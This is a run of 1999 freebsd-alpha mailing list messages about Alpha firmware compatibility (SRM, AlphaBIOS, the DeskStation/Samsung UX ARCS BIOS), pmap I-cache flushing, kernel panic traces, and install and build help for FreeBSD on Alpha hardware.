> UX uses ARCS BIOS and the DP264 comes with both SRM and AlphaBIOS.

As an aside/addition to this, note that boards/systems which are
allegedly "NT only" may come with SRM, but not necessarily with SRM
capable of booting VMS or Digital UNIX (or whatever it's called today
8-).

An example is the Digital Server 330x boxes (white-box versions of the
blue-box AlphaServer 800 family).  They include SRM, but it's hacked
to keep DU from running.  NetBSD, and i presume Linux, however, will
work fine with that SRM.



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On Fri, Apr 23, 1999 at 09:03:59PM -0400, Rich Payne wrote:
> On 23 Apr 1999, Chris G. Demetriou wrote:
> 
> > IIRC, AlphaXL systems, AlphaPC64's, the newer Samsung boards and a few
> > others have only ARC or AlphaBIOS.  Really, the set of systems without
> > SRM is small, and the set of systems which are interesting these days
> > which only have SRM is decreasing.  (really, only the samsung boards
> > are left, right?)  Even things like (at least some of) the white-box
> > systems have SRM (e.g. the 330x boxes you can get on Onsale right
> > now).
> 
> Most systems can take either SRM and/or AlphaBIOS (or ARC for older
> systems). The only ones that can't are the 164PC (SX) and the
> DeskStation/Samsumg UX boards (that have their own ARCS BIOS).
> (I think I got that right).

No, you got it wrong.  There is SRM available for the PC164SX motherboard.

You're right that there's not SRM available for the "UX" boards.



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On Fri, 23 Apr 1999, Jordan K. Hubbard wrote:

> > 	I just talked with one of our engineers here about the docs/SDK
> > etc... for AlphaBIOS. Evidently there is no documentation for AlphaBIOS,
> > the docs being the source itself, the problem being that parts of the
> > source were written/are copyrighted by Microsoft. So in order to get those
> > you'd have to sign an NDA with MS. Not good.
> 
> Grumble.  That's quite unfortunate. :(  Thanks for letting me know,
> in any case.

I am confused. I have come fairly good documentation for AlphaBIOS
(basically the mips ARC docs and a couple of files listing alpha function
numbers). I found this by following links from the source to linload.exe
which lives at ftp://ftp.europe.digital.com/pub/DEC/Linux-Alpha/linload/.
I already have enough information on Digital's AlphaBIOS firmware to build
test programs which work.

The particular problem which I have with the Samsung board is that its
firmware is not AlphaBIOS but instead is a modified ARC style system.  I
need information on what specific differences the Samsung firmware
programming interface has compared to Digital's AlphaBIOS firmware. My
test programs which work on AlphaBIOS do not work with the Samsung
firmware. I believe that Linux also needs a specially modified version of
their loader for this board.

Why on earth didn't Samsung just use AlphaBIOS. It is bizarre that they
felt the need to invent their own firmware and even managed to change the
api so that it is incompatible.

--
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Nonlinear Systems Ltd.			Phone: +44 181 442 9037




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> I am confused. I have come fairly good documentation for AlphaBIOS
> (basically the mips ARC docs and a couple of files listing alpha function
> numbers). I found this by following links from the source to linload.exe
> which lives at ftp://ftp.europe.digital.com/pub/DEC/Linux-Alpha/linload/.
> I already have enough information on Digital's AlphaBIOS firmware to build
> test programs which work.

Yup, the original MIPS spec is available, I even put it up on
ftp.alphalinux.org for people to get access to.

> The particular problem which I have with the Samsung board is that its
> firmware is not AlphaBIOS but instead is a modified ARC style system.  I
> need information on what specific differences the Samsung firmware
> programming interface has compared to Digital's AlphaBIOS firmware. My
> test programs which work on AlphaBIOS do not work with the Samsung
> firmware. I believe that Linux also needs a specially modified version of
> their loader for this board.

Which Samsung board?

> Why on earth didn't Samsung just use AlphaBIOS. It is bizarre that they
> felt the need to invent their own firmware and even managed to change the
> api so that it is incompatible.

Samsung does use AlphaBIOS. Are you talking about the UX board? The UX was
not designed by Samsung. It was designed by DeskStation. Samsung just
produces
the board now. As far as I know the ARCS BIOS is used in the UX and only
the UX, and I don't think there are any plans for it to go on any boards,
unless DeskStation decides to design another.

The specially modified loader you are talking about is ldmilo.exe (instead
of linload.exe). I don't know if the source is available for that,
presumably DeskStation still holds the copyright. So it would be best to
take it up with them.

--rdp


Rich Payne
rpayne@alphalinux.org			www.alphalinux.org



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On Sat, 24 Apr 1999, Rich Payne wrote:

> > I am confused. I have come fairly good documentation for AlphaBIOS
> > (basically the mips ARC docs and a couple of files listing alpha function
> > numbers). I found this by following links from the source to linload.exe
> > which lives at ftp://ftp.europe.digital.com/pub/DEC/Linux-Alpha/linload/.
> > I already have enough information on Digital's AlphaBIOS firmware to build
> > test programs which work.
> 
> Yup, the original MIPS spec is available, I even put it up on
> ftp.alphalinux.org for people to get access to.
> 
> > The particular problem which I have with the Samsung board is that its
> > firmware is not AlphaBIOS but instead is a modified ARC style system.  I
> > need information on what specific differences the Samsung firmware
> > programming interface has compared to Digital's AlphaBIOS firmware. My
> > test programs which work on AlphaBIOS do not work with the Samsung
> > firmware. I believe that Linux also needs a specially modified version of
> > their loader for this board.
> 
> Which Samsung board?

It was the UX board as far as I know.

> 
> > Why on earth didn't Samsung just use AlphaBIOS. It is bizarre that they
> > felt the need to invent their own firmware and even managed to change the
> > api so that it is incompatible.
> 
> Samsung does use AlphaBIOS. Are you talking about the UX board? The UX was
> not designed by Samsung. It was designed by DeskStation. Samsung just
> produces
> the board now. As far as I know the ARCS BIOS is used in the UX and only
> the UX, and I don't think there are any plans for it to go on any boards,
> unless DeskStation decides to design another.
> 
> The specially modified loader you are talking about is ldmilo.exe (instead
> of linload.exe). I don't know if the source is available for that,
> presumably DeskStation still holds the copyright. So it would be best to
> take it up with them.

Since I wasn't the person trying to get things working on this board (it
was Stefan Esser <se@freebsd.org>), I don't know exactly what the firmware
looks like. According to Stefan, it had a completely different look and
feel from AlphaBIOS though.

I believe that Stefan contacted both Samsung and DeskStation to try to get
programming information with no luck. I think Samsung asked for an NDA and
I'm not sure if DeskStation even replied.  Stefan would know for sure;
since I don't think he reads this list, I have Cc'ed him.

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In message <Pine.LNX.4.10.9904240806560.32246-100000@talisman.mv.com> Rich Payne writes:
: Samsung does use AlphaBIOS. Are you talking about the UX board? The UX was
: not designed by Samsung. It was designed by DeskStation. Samsung just
...
: unless DeskStation decides to design another.

Ah, Deskstation.  I have one of their MIPS products.  They tend to
write their own BIOSes.  The one I have on my MIPS platform looks
unlike anything else I've ever seen before or since.  One big problem,
according to the lists, is that they tend to produce fairly buggy
BIOSes tht work just well enough to install WinNT and boot WinNT and
usually not a whole lot beyond that.  At least that was my experience
when working with the rPC44 bios and the Tyne bios.

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In message <Pine.BSF.4.05.9904241522530.28665-100000@herring.nlsystems.com> Doug Rabson writes:
: I believe that Stefan contacted both Samsung and DeskStation to try to get
: programming information with no luck. I think Samsung asked for an NDA and
: I'm not sure if DeskStation even replied.  Stefan would know for sure;
: since I don't think he reads this list, I have Cc'ed him.

Good luck getting information out of DeskStation.  They tend to swing
from being almost a little helpful to being completely unhelpful and
unresponsive.  They provided me with almost no help in the way of
specs and the like for the rPC44 port of OpenBSD/Linux I did.
However, the support they did give me was enough to get things up and
crawling.  I'll give you the entire sum of the support:
	The ISA bus is memory mapped at 0xa0000000.  The ISA ports
	are memory mapped at 0xb0000000.  It is basically a PC MOBO
	with a mips processor bolted on.

I had no better luck calling them directly.  However, they say on
their website they support Linux, and are looking for a Linux OS
engineer (but they have been looking for at least the past year, so
maybe their website is on auto-pilot).

Ironically, I did get mail from them asking me for help installing
OpenBSD/arc on their systems!  After giving them the help, I never
heard back from them.  I don't think the person who I was working with
is there anymore.

Warner


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It looks to me that our pmap take alpha_pal_imb() wrong. Our pmap 
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generation. NetBSD have completely different idea (I-cache is indexed 
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function. I suspect they are right...

Comments?

Dima




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I have been out of the loop for a couple days.....did anyone ever come up
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My AS200-4/233 came from OnSale.com last summer with a little "Windows 
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my kernel config:

controller      pnp0
device pcm0 at isa0 port 0x530 tty irq 9 drq 0 flags 0x11

but 'boot -v' yields no mention of pnp or pcm in dmesg.

Is this just not supported, or am I missing something?




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> My AS200-4/233 came from OnSale.com last summer with a little "Windows 
> compatible sound" board with a Crystal CS4231A-KL chip.  I added this to 
> my kernel config:
To my knowledge this isnt supported yet because some DMA work still
needs to be done in order to get those chipsets to work.

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This from BDE.  Someone closer to the issue might want to take an look
and pass me diffs.

----- Forwarded message from Bruce Evans <bde@zeta.org.au> -----
time_t is int on alphas, but _G_time_t in libstdc++/_G_Config.h is long.
Similarly for clock_t, except it braindamaged on alphas (int on alphas,
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On Sun, 25 Apr 1999, Dmitrij Tejblum wrote:

> It looks to me that our pmap take alpha_pal_imb() wrong. Our pmap 
> apparently assume that I-cache like TLB is virtually indexed and
> tagged with the ASN. So we call alpha_pal_imb() only when start new ASN 
> generation. NetBSD have completely different idea (I-cache is indexed 
> by the physical address?) and call alpha_pal_imb() in every second pmap 
> function. I suspect they are right...
> 
> Comments?

I'm pretty sure that I-cache lines are tagged with ASNs. The Linux kernel
only calls imb() when it runs out of ASNs and if it didn't work properly,
I doubt that a system could survive even a single threaded make world, let
alone -j20.

This is only relavent to user code since the ASNs are used to distinguish 
between different user address spaces. I don't think we properly flush the
I-cache when kernel executable code changes which is an issue for KLD.
Probably KLD should arrange for an IMB on the alpha by calling some
machine dependant pmap function.

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On Sun, 25 Apr 1999, William wrote:

> I have been out of the loop for a couple days.....did anyone ever come up
> with a "quick fix" for the silo overflows when useing an external modem on
> com1? I tried lowering the baud rate all the way down to 19200 and still
> had the same problem.

I'm starting to think that something else is wrong with this. Its almost
as if interrupts are not being delivered to the sio driver. The driver has
a poll function which will read characters (I think) but not very often.

As an experiment, could you put a print statement in siointr() to see if
it ever gets entered.

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OK, I just bought the 3.1 CD with the Alpha distro on it. I know the floppy
images are broken, I am useing the 4.0 snap images on the web. My question
is this, I know how to change the distro name in options from 4.0snap to
3.1, but the alpha stuff is on the 2nd cd in /releases/alpha/3 , hoow do I
point /stand/sysinstall to install from that directory.

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On 1999-04-24 15:28 +0100, Doug Rabson <dfr@nlsystems.com> wrote:
> On Sat, 24 Apr 1999, Rich Payne wrote:
> > > The particular problem which I have with the Samsung board is that its
> > > firmware is not AlphaBIOS but instead is a modified ARC style system.  I
> > > need information on what specific differences the Samsung firmware
> > > programming interface has compared to Digital's AlphaBIOS firmware. My
> > > test programs which work on AlphaBIOS do not work with the Samsung
> > > firmware. I believe that Linux also needs a specially modified version of
> > > their loader for this board.
> > 
> > Which Samsung board?
> 
> It was the UX board as far as I know.

I bought a number of Samsung UX boards (aka DeskStation Ruffian).
These boards were the test base when I tried to get the first step
of ARC booting of FreeBSD going (based on work by Doug and others).

Anyway, my finding was, that I could only call ARC functions that 
take no arguments (or at least no arguments that are pointers to 
the actual data to be passed).
I quickly came to a state where I could Halt or Reboot the system 
by executing a program compiled with gcc under FreeBSD (and fixed-up
to conform to the EXE format expected by ARCSBIOS). But even writing
a single character to STDOUT failed.

this is definitely a result of the BIOS supplied with the "Ruffian"
not being ARC compliant. Even the pre-compiled sample binaries that 
come with the ARC Developers Kit don´t work ...

Since I had a little spare time a few months back, I looked at both
the NT boot disk that came with the main-boards and the Linux boot
disk available from some web site (should have a bookmark somewhere).

Both these binaries do call Vendor functions outside the range that
is specified in the ARC BIOS document. Arguments passed appear to be
arrays of NOOP functions, which take no argument and either return 
(int) 0 or (void) ...

I tried to re-code that initialization sequence in C and have it go
before a call of Write(), but with no success. There must be more that 
I missed, but the code is not easy to follow. (I only used objdump to
disassemble the binaries, and the split loading of 32bit constants and
addresses does not really make things easier, especially if there are
tens of instruction in between ;-)

If somebody is interested, I can supply:

1) The binaries I tried to analyze
2) Annotated objdump output

> > The specially modified loader you are talking about is ldmilo.exe (instead
> > of linload.exe). I don't know if the source is available for that,
> > presumably DeskStation still holds the copyright. So it would be best to
> > take it up with them.

Ahh, yes, ldmilo.exe is one of the two binaries I looked at ...

The code I talked about (apparent calls to init functions at undefined
vendor vector positions) is not identical but quite similar in both the
NT loader and ldmilo.exe.

> Since I wasn't the person trying to get things working on this board (it
> was Stefan Esser <se@freebsd.org>), I don't know exactly what the firmware
> looks like. According to Stefan, it had a completely different look and
> feel from AlphaBIOS though.

The Samsung UX boots into a setup screen that is quite different from 
that of an AlphaBios based system. Even the BIOS upgrade functions and
required data formats are completely different (not that I think it is
a good idea to flash a DEC BIOS on a DeskStation main-board anyway ;-)

> I believe that Stefan contacted both Samsung and DeskStation to try to get
> programming information with no luck. I think Samsung asked for an NDA and
> I'm not sure if DeskStation even replied.  Stefan would know for sure;
> since I don't think he reads this list, I have Cc'ed him.

No, I don't think I'm on the Alpha list, but I guess I should ...

I just returned from a vacation, last week, and sent another mail to Samsung 
and a first one to DeskStation tech-support. Neither of them replied, but it
has only been a few days, since.

In my first mail to Samsung I had mentioned FreeBSD, but in my mail to
DeskStation I just asked about a way to get ADK compliant binaries loaded
in an "embedded environment". Seems that many vendors do not consider Linux
to be commercially interesting, now, but have no plans at all to support
other "open software" projects. And in the case of DeskStation I'm quite
sure, that even the sources to ldmilo.exe are considered "confidential" and
have not been published. But the required additional startup code could be
part of a modified ADK they use, and thus there might be no visible changes
to the boot loader. It will just require that (DeskStation private) version 
of the ADK ...


Anyway, I think that the UX is a well designed board (though there was 
rumour of stability problems in a news-group that I searched for articles
that mentioned "Ruffian").

We should be able to support that board and its BIOS (well, I have to ;-)

I think we can reverse engineer the missing information from available 
information (especially ldmilo.exe) and get the ARC start-up code to do 
the right thing with the UX (i.e. identify it through ARC data structures
and only try to invoke the additional code for the UX).

Is there any good disassembler (better than objdump. at least ;-)
I already spent to much time over the silly output generated by objdump,
but might be talked into trying again, if there is a tool that provides
me with text that looks more like Alpha Assembler than like GDB output ...

Only question is, who can and should do the reverse engineering, mostly
for legal reasons. In the EC there is a very strict law against disassembly
of code (simplified statement, I know), except for the case, where this is 
required to "interface to own products". Well, and that appears to be the
case here ;-)

But the problem with EC law is, that you are not allowed to publish the 
results of reverse engineering, just use it with your particular product.
And that seems to be a problem, if we want to publish sources that are based
on the results of reverse engineering. (Not surprisingly, it was the big 
hardware and software vendors that demanded that ruling.)
(I'm no lawyer, correct me if I'm wrong. But it looks like there might be
better places in the world, at least as locations for a reverse-engineering
project.)

I'm currently busy to get all the paper work done for my project, which 
will keep me busy for another few weeks. (The company just got bought by 
its biggest competitor, twice our size, and things may change very quickly 
now. I have got to convince the new management that the project is still 
worthwhile, and that will require a lot of heavy documents, nobody is ever 
going to read ;-)

Regards, STefan


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On 1999-04-24 23:16 -0600, Warner Losh <imp@harmony.village.org> wrote:
> Good luck getting information out of DeskStation.  They tend to swing
> from being almost a little helpful to being completely unhelpful and
> unresponsive.  They provided me with almost no help in the way of
> specs and the like for the rPC44 port of OpenBSD/Linux I did.
> However, the support they did give me was enough to get things up and
> crawling.  I'll give you the entire sum of the support:
> 	The ISA bus is memory mapped at 0xa0000000.  The ISA ports
> 	are memory mapped at 0xb0000000.  It is basically a PC MOBO
> 	with a mips processor bolted on.

Well, we are not asking for information at the hardware level. 
Just for the correct sequence of initialization calls to their
version of ARCSBIOS. But I'm afraid you are right and we won't
get any information from them. (Well, I tried anyway.)

> I had no better luck calling them directly.  However, they say on
> their website they support Linux, and are looking for a Linux OS
> engineer (but they have been looking for at least the past year, so
> maybe their website is on auto-pilot).

At least there appears to be no active development going on at 
their site. The current BIOS revision (1.3.061.0) does not work
with disk driver > 8Gb (it ignores any space beyond that), for 
example. The dates of the BIOS images they make available indicate,
that development stopped one year ago.

> Ironically, I did get mail from them asking me for help installing
> OpenBSD/arc on their systems!  After giving them the help, I never
> heard back from them.  I don't think the person who I was working with
> is there anymore.

Hmmm, but that person might be able to give a hint at whom to ask
for information regarding the ARCSBIOS changes relative to DEC's.

Regards, STefan


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OK, I just bought the 3.1 CD with the Alpha distro on it. I know the floppy
images are broken, I am useing the 4.0 snap images on the web. My question
is this, I know how to change the distro name in options from 4.0snap to
3.1, but the alpha stuff is on the 2nd cd in /releases/alpha/3 , hoow do I
point /stand/sysinstall to install from that directory.

Thanks,

William



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On Mon, 26 Apr 1999, William Woods wrote:

> OK, I just bought the 3.1 CD with the Alpha distro on it. I know the floppy
> images are broken, I am useing the 4.0 snap images on the web. My question
> is this, I know how to change the distro name in options from 4.0snap to
> 3.1, but the alpha stuff is on the 2nd cd in /releases/alpha/3 , hoow do I
> point /stand/sysinstall to install from that directory.

You need to go to the options screen and set the 'Release Name' to
'3.1-RELEASE'. The install program should pick up the files from the right
place automatically (I just tried this with my 3.1-RELEASE CD set and it
worked with a locally built snapshot dated 19990221).

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i found the source for the linux milo on
ftp://gatekeeper.dec.com/pub/DEC/Linux-Alpha/    and there was a readme file that
someone at digital had written that it should be compiled in a C compiler in
WinNT, unfortunantly the hd that i had it on crashed... i've looked abit for the
source but haven't found it again... maybe you got better luck finding it..

Doug Rabson wrote:

> On Sat, 24 Apr 1999, Rich Payne wrote:
>
> > > I am confused. I have come fairly good documentation for AlphaBIOS
> > > (basically the mips ARC docs and a couple of files listing alpha function
> > > numbers). I found this by following links from the source to linload.exe
> > > which lives at ftp://ftp.europe.digital.com/pub/DEC/Linux-Alpha/linload/.
> > > I already have enough information on Digital's AlphaBIOS firmware to build
> > > test programs which work.
> >
> > Yup, the original MIPS spec is available, I even put it up on
> > ftp.alphalinux.org for people to get access to.
> >
> > > The particular problem which I have with the Samsung board is that its
> > > firmware is not AlphaBIOS but instead is a modified ARC style system.  I
> > > need information on what specific differences the Samsung firmware
> > > programming interface has compared to Digital's AlphaBIOS firmware. My
> > > test programs which work on AlphaBIOS do not work with the Samsung
> > > firmware. I believe that Linux also needs a specially modified version of
> > > their loader for this board.
> >
> > Which Samsung board?
>
> It was the UX board as far as I know.
>
> >
> > > Why on earth didn't Samsung just use AlphaBIOS. It is bizarre that they
> > > felt the need to invent their own firmware and even managed to change the
> > > api so that it is incompatible.
> >
> > Samsung does use AlphaBIOS. Are you talking about the UX board? The UX was
> > not designed by Samsung. It was designed by DeskStation. Samsung just
> > produces
> > the board now. As far as I know the ARCS BIOS is used in the UX and only
> > the UX, and I don't think there are any plans for it to go on any boards,
> > unless DeskStation decides to design another.
> >
> > The specially modified loader you are talking about is ldmilo.exe (instead
> > of linload.exe). I don't know if the source is available for that,
> > presumably DeskStation still holds the copyright. So it would be best to
> > take it up with them.
>
> Since I wasn't the person trying to get things working on this board (it
> was Stefan Esser <se@freebsd.org>), I don't know exactly what the firmware
> looks like. According to Stefan, it had a completely different look and
> feel from AlphaBIOS though.
>
> I believe that Stefan contacted both Samsung and DeskStation to try to get
> programming information with no luck. I think Samsung asked for an NDA and
> I'm not sure if DeskStation even replied.  Stefan would know for sure;
> since I don't think he reads this list, I have Cc'ed him.
>
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> Nonlinear Systems Ltd.                  Phone: +44 181 442 9037
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/Joonas...

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> I'm pretty sure that I-cache lines are tagged with ASNs. The Linux kernel
> only calls imb() when it runs out of ASNs 

Well, you are right, even comments in the NetBSD pmap say so. Nevertheles, 
they call alpha_pal_imb() a lot - there should be a reason for that. 
Also, take a look at Linux' ev5_flush_tlb_current_page() - it flush whole ASN 
when it have to flush something executable, rather than do a TBIS.

> and if it didn't work properly,
> I doubt that a system could survive even a single threaded make world, let
> alone -j20.

This is not very convincing :-). I have seen as single threaded make world fail 
mysteriously. (That is exactly why I started to look at the issue :-).

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On Tue, 27 Apr 1999 00:24:55 +0400 
 Dmitrij Tejblum <tejblum@arc.hq.cti.ru> wrote:

 > > I'm pretty sure that I-cache lines are tagged with ASNs. The Linux kernel
 > > only calls imb() when it runs out of ASNs 
 > 
 > Well, you are right, even comments in the NetBSD pmap say so. Nevertheles, 
 > they call alpha_pal_imb() a lot - there should be a reason for that. 
 > Also, take a look at Linux' ev5_flush_tlb_current_page() - it flush whole ASN 
 > when it have to flush something executable, rather than do a TBIS.

Considering how I wrote a fairly significant portion of the NetBSD/alpha
pmap, I think I can speak with some authority here :-)

You'll note my comment about Address Space Numbers:

/*
 * Address Space Numbers.
 *
 * On many implementations of the Alpha architecture, the TLB entries and
 * I-cache blocks are tagged with a unique number within an implementation-
 * specified range.  When a process context becomes active, the ASN is used
 .
 .
 .
 */

`On many implementations', not on all.  Even though I know the I-cache layout
on the 21164, I didn't allow my pmap module to make any assumptions based on
that knowledge (I even ignored how IMB is implemented in the 21164 PALcode :-).

The architecture manual states that an IMB should be done whenever the mapping
for the I-stream changes.  This is in the IMB PALcode op description.  I
optimize out unnecessary IMBs on unmap by tracking VM_PROT_EXECUTE in a
software PTE bit.

Also note section 5.6.4.4 regarding the I-stream in the presence of
multiple processors (in this case, it includes I/O processors, i.e.
DMA engines on devices).  The way paging and COW are done in UVM (the
NetBSD virtual memory system) handles this case.

Basically, the NetBSD/alpha pmap is written to the architecture manual,
not to any specific processor manual, and will therefore Just Work with
any Alpha processor implementation.  And, modulo a silly optimization
error I made in modified/referenced emulation, the NetBSD/alpha pmap
has proven to be very stable.

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OK, I just finished installing FreeBSD Alpha, I go to boot useing "boot -fl
a dka0" to boot off my scsi drive, all goes well till I get this....

.: out of file descriptors
Enter full pathname of shell or RETURN for /bin/sh:

What is up with this, I though the command "boot -fl a dka0" would boot me
into multi-user mode and whats with the "out of file descriptors" message?

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> OK, I just finished installing FreeBSD Alpha, I go to boot useing "boot -fl
> a dka0" to boot off my scsi drive, all goes well till I get this....
> 
> .: out of file descriptors
> Enter full pathname of shell or RETURN for /bin/sh:
> 
> What is up with this, I though the command "boot -fl a dka0" would boot me
> into multi-user mode and whats with the "out of file descriptors" message?

This subtle error message exists so that we can laugh at you for making 
a very stupid mistake.

You copied /etc/defaults/rc.conf to /etc/rc.conf

DO NOT DO THIS!

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From owner-freebsd-alpha  Mon Apr 26 18: 4:46 1999
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Multia, today's kernel sources (with Matt's patches from a couple weeks
ago still), doing a buildworld (source across NFS, /usr/obj local):

fatal kernel trap:

    trap entry = 0x3 (instruction fault)
    a0         = 0x4
    a1         = 0x5
    a2         = 0xfffffc0000424228
    pc         = 0xfffffc00005f9ba0
    ra         = 0xfffffc0000378b44
    curproc    = 0xfffffe000393a9a0
        pid = 2953, comm = sh

ddbprinttrap from 0xfffffc00005f9ba0
ddbprinttrap(0x4, 0x5, 0xfffffc0000424228, 0x3)
panic: trap
panic
Stopped at      Debugger..ng+0x24:      ldq     ra,0(sp)
<0xfffffe0003d256c0>   <ra=0xfffffc00004c6298,sp=0xfffffe0003d256c0>
db> t
Debugger..ng() at Debugger..ng+0x24
panic..ng() at panic..ng+0xf0
trap..ng() at trap..ng+0x674
XentIF() at XentIF+0x20
callout_reset..ng() at callout_reset..ng+0x34
(null)() at 0x6
db> x/i 0xfffffc0000378b44
callout_reset..ng+0x34: ldah    gp,0x20(ra)
db> x/i 0xfffffc00005f9ba0
0xfffffc00005f9ba0:     ftois   ra,#0xfa,v0
db> 0xfffffc0000424228
?
db> x/i 0xfffffc0000424228
nfs_timer:      ldah    gp,0x15(pv)
db> :c



Anyone see this one recently?




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From owner-freebsd-alpha  Tue Apr 27  1:46:41 1999
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On Tue, 27 Apr 1999, Dmitrij Tejblum wrote:

> > I'm pretty sure that I-cache lines are tagged with ASNs. The Linux kernel
> > only calls imb() when it runs out of ASNs 
> 
> Well, you are right, even comments in the NetBSD pmap say so. Nevertheles, 
> they call alpha_pal_imb() a lot - there should be a reason for that. 
> Also, take a look at Linux' ev5_flush_tlb_current_page() - it flush whole ASN 
> when it have to flush something executable, rather than do a TBIS.
> 
> > and if it didn't work properly,
> > I doubt that a system could survive even a single threaded make world, let
> > alone -j20.
> 
> This is not very convincing :-). I have seen as single threaded make world fail 
> mysteriously. (That is exactly why I started to look at the issue :-).

I think you are right. If you want to tackle fixing this, I would suggest
modifying pmap_invalidate_page to take the old pte value as an extra
argument and using the NetBSD trick of a software PG_EXEC bit in the pte
to mark executable pages.

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I remember hearing something about pre-made packages for the
alpha......where were they at again?

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Someone here pointed out to me a web page with a patch that makes compiling
Xfree on an alpha possible....would you mind sending that again....

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From what I remember they are at
ftp://ftp.freebsd.org/pub/FreeBSD/ports/alpha/packages  or
packages-4-current.

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> I remember hearing something about pre-made packages for the
> alpha......where were they at again?
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> William
> 
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http://www.freebsd.org/~dfr

On Tue, 27 Apr 1999, William Woods wrote:

# Someone here pointed out to me a web page with a patch that makes compiling
# Xfree on an alpha possible....would you mind sending that again....
# 
# William



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On Tue, 27 Apr 1999, William Woods wrote:

# I remember hearing something about pre-made packages for the
# alpha......where were they at again?

ftp://ftp.freebsd.org/pub/FreeBSD/ports/alpha/packages/



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> My AS200-4/233 came from OnSale.com last summer with a little "Windows 
> compatible sound" board with a Crystal CS4231A-KL chip.  I added this to 
> my kernel config:
> 
> controller      pnp0
> device pcm0 at isa0 port 0x530 tty irq 9 drq 0 flags 0x11
> 
> but 'boot -v' yields no mention of pnp or pcm in dmesg.
> 
> Is this just not supported, or am I missing something?

For what it's worth, the Crystal Semiconductor chips are what
are used on the Motorolla PowerStack and other PReP compliant
systems.

You may find some documentation from the LinuxPPC or NetBSD
PPC projects.

Back when I was porting FreeBSD to the Motorolla PowerStack
(using PPCBug instead of Open Firmware), Crystal Semiconductor
was very forthcoming with datasheets for all of the CS chips
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> > I have been out of the loop for a couple days.....did anyone ever come up
> > with a "quick fix" for the silo overflows when useing an external modem on
> > com1? I tried lowering the baud rate all the way down to 19200 and still
> > had the same problem.
> 
> I'm starting to think that something else is wrong with this. Its almost
> as if interrupts are not being delivered to the sio driver. The driver has
> a poll function which will read characters (I think) but not very often.
> 
> As an experiment, could you put a print statement in siointr() to see if
> it ever gets entered.

Somone posted patches to this list a while back that enabled the
"fast interrupt" stuff for the alpha.  It got broken when the
bus space stuff went into -current.  I think it hasn't been unbroken.

In my experience, the patches worked fine.


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Cool.....ahh...you wouldent happen to have the laying around would ya?

William

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> > I have been out of the loop for a couple days.....did anyone ever come
up
> > with a "quick fix" for the silo overflows when useing an external modem
on
> > com1? I tried lowering the baud rate all the way down to 19200 and still
> > had the same problem.
>
> I'm starting to think that something else is wrong with this. Its almost
> as if interrupts are not being delivered to the sio driver. The driver has
> a poll function which will read characters (I think) but not very often.
>
> As an experiment, could you put a print statement in siointr() to see if
> it ever gets entered.

Somone posted patches to this list a while back that enabled the
"fast interrupt" stuff for the alpha.  It got broken when the
bus space stuff went into -current.  I think it hasn't been unbroken.

In my experience, the patches worked fine.


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Well, I just tried to compile X with the patches on this page and
nothing....

GCC Version = 2.7.2.3

I also did the file copy like the page suggested.

These are the errors I got:

--------------------------

Makefile: missing dependancy operators "575"
						   "584"
						   "570"

fatal errors can not continue.

------------------------------

Thanks,

William


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>From what I remember they are at
ftp://ftp.freebsd.org/pub/FreeBSD/ports/alpha/packages  or
packages-4-current.

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> I remember hearing something about pre-made packages for the
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> William
>
>
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OK, I am trying to build cvsup on an Alpha 200 4/233
I am useing gcc 2.7.2.3 and for some reason it is NOT building at all.
I have tried to build it WITH Xfree support and Xfree dies, that is a
seperate issue I am working on, when I try to build cvsup with the NO_X11=1
option, it craps out again. I am going to try to capture the errors and will
send em if I can, untill then...anyone have a working cvsup package I can
get :) or point me in some direction as to what is wrong?

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http://www.freebsd.org/~jdp/cvsup-alpha/

On Tue, 27 Apr 1999, William Woods wrote:

# OK, I am trying to build cvsup on an Alpha 200 4/233
# I am useing gcc 2.7.2.3 and for some reason it is NOT building at all.
# I have tried to build it WITH Xfree support and Xfree dies, that is a
# seperate issue I am working on, when I try to build cvsup with the NO_X11=1
# option, it craps out again. I am going to try to capture the errors and will
# send em if I can, untill then...anyone have a working cvsup package I can
# get :) or point me in some direction as to what is wrong?
# 
# William
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Hi

Ive tried to build a kernel with a cvsupped world as of today(Apr 28)
But it drops into the debugger after doing scsi delay

sc0: VGA color <16 virtual consoles, flags=0x0>
Timecounter "alpha" frequency 531914893 Hz
Waiting 5 seconds for SCSI devices to settle

fatal kernel trap:

 trap entry = 0x2 (memory mangement fault)
 a0	= 0x120
 a1	= 0x1
 a2	= 0x0
 pc	= 0xfffffc000036490c
 ra	= 0xfffffc000036a948
 curproc = 0

ddbprinttrap from 0xffffffc000036490c
ddbprinttrap(0x120, 0x1, 0x0,0x2)
panic: trap
panic
Stopped at Debugger+0x2c: ldq ra,0(sp) <0xfffffc000052baf0>
<ra=0xfffffc000042f420,sp=0xfffffc000052baf0>

if I at the prompt step through to the next command it enables de0 (I hear
the click) another step and i get another panic.

if I wade through next , the second next hangs the machine (It also
enables de0 as I hear the click), sometimes it issues a halt so i get back
to SRM.

Ive tried 5 different kernel configs now , none of them was without de0
wich I assume might be causing this.

Any hints ?

btw what is the diff between next and step really , Ive never used the
kernel debugger before , though it has alot of resemblance to asm-one's
debugger I used on the amiga years ago :)

/Khaled, Telia Network Services

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Khaled Daham wrote:

> Hi
> 
> Ive tried to build a kernel with a cvsupped world as of today(Apr 28)
> But it drops into the debugger after doing scsi delay
> 
> sc0: VGA color <16 virtual consoles, flags=0x0>
> Timecounter "alpha" frequency 531914893 Hz
> Waiting 5 seconds for SCSI devices to settle
> 
> fatal kernel trap:
> 
>  trap entry = 0x2 (memory mangement fault)
>  a0	= 0x120
>  a1	= 0x1
>  a2	= 0x0
>  pc	= 0xfffffc000036490c
>  ra	= 0xfffffc000036a948
>  curproc = 0
> 
> ddbprinttrap from 0xffffffc000036490c
> ddbprinttrap(0x120, 0x1, 0x0,0x2)
> panic: trap
> panic
> Stopped at Debugger+0x2c: ldq ra,0(sp) <0xfffffc000052baf0>
> <ra=0xfffffc000042f420,sp=0xfffffc000052baf0>

It is normal today. This breakage caused by the commit from 
1999/04/07 18:04 PDT. It is not de0 or any other hardware related. 
It should be fixed soon, perhaps tomorrow.

Dima




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   Dear Sirs and Madams, 


  I also heard about something about pre-made packages for alpha... And
I'd like to ask all of You, if there are such packages for OEM
motherboards. If there're, where could I find them ?


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		    Rimantas R. 



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Ok does it suffice to update kernel sources and build a kernel or will I
have to make world again ?

On Thu, 29 Apr 1999, Dmitrij Tejblum wrote:

> Khaled Daham wrote:
> 
> > Hi
> > 
> > Ive tried to build a kernel with a cvsupped world as of today(Apr 28)
> > But it drops into the debugger after doing scsi delay
> > 
> > sc0: VGA color <16 virtual consoles, flags=0x0>
> > Timecounter "alpha" frequency 531914893 Hz
> > Waiting 5 seconds for SCSI devices to settle
> > 
> > fatal kernel trap:
> > 
> >  trap entry = 0x2 (memory mangement fault)
> >  a0	= 0x120
